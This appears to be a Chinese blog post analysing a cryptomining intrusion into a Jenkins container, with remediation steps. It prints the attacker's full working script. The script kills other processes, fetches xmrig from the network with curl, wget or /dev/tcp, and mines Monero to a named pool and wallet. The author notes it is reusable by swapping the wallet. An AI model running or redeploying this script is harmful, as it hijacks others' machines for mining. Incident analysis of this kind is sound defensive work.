七仔的博客

七仔的博客GithubPages分博

0%

Jenkins容器遭到挖矿程序入侵后的梳理和解决

服务器CPU达到100%居高不下,查询时间发现情况持续了不止一天,最后发现是Jenkins漏洞导致的挖矿程序入侵

Jenkins容器遭到挖矿程序入侵后的梳理和解决

起因

服务器CPU达到100%居高不下,查询时间发现情况持续了不止一天

揪出来原因

通过定位发现占用CPU的是Jenkins的Docker容器,使用命令进入容器

1
docker exec -it jenkins-server /bin/bash

然后使用

1
pa -aux

发现有一个程序占用异常的高

1
./trace -r 2 -R 2 --keepalive --no-color --donate-level 1 --max-cpu-usage 100 --cpu-priority 3 --print-time 25 --threads 1 --url pool.minexmr.com:4444 --user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku --pass x --keepalive

和他同一时间启动的还有一个脚本

1
/bin/bash /tmp/jenkins6638567374534053250.sh

找到这个文件看看(不要自己运行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/bash

if [[ $(whoami) != "root" ]]; then
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
kill -9 $tr || : ;
done;
fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";

_curl () {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}

rm -rf config.json;

d () {
curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $ 2;
}


test ! -s trace && \
d https://github.com/xmrig/xmrig/releases/download/v6.4.0/xmrig-6.4.0-linux-x64.tar.gz trace.tgz && \
tar -zxvf trace.tgz && \
mv xmrig-6.4.0/xmrig trace && \
rm -rf xmrig-6.4.0 && \
rm -rf trace.tgz;

test ! -x trace && chmod +x trace;

k() {
./trace \
-r 2 \
-R 2 \
--keepalive \
--no-color \
--donate-level 1 \
--max-cpu-usage 100 \
--cpu-priority 3 \
--print-time 25 \
--threads ${threadCount:-4} \
--url $1 \
--user 44uNsPQyuLZEcfoAzs3Y78f942zLGkH8W6xAbZKU1PQ8bE35ud3kUr82c7WtYaa6FDezVLcVaZ5RJPENgQCShYsKMgckdku \
--pass x \
--keepalive
}

k pool.minexmr.com:4444

github项目的地址是一个挖矿程序,https://minexmr.com网址打开后发现是一个门罗币的矿池,脚本原理应该很清晰了:

这是一个比较通用的脚本,只需要在这个矿池注册账号拿到(–user)后面的东西就可以替换运行

入侵方式猜测

应该是Jenkins的漏洞,根据搜索引擎的帮助,可能是通过穷举法暴力破解Jenkins的密码进行注入

操作和防范

首先删除workspace目录下多出来的那个目录securejenkins,然后kill掉那两个进程

登录Jenkins修改了下授权策略(之前忘了密码所以修改这个来修改密码但是忘了改回来),改为[登录用户可以做任何事]

此为博主副博客,留言请去主博客,转载请注明出处:https://www.baby7blog.com/myBlog/105.html

欢迎关注我的其它发布渠道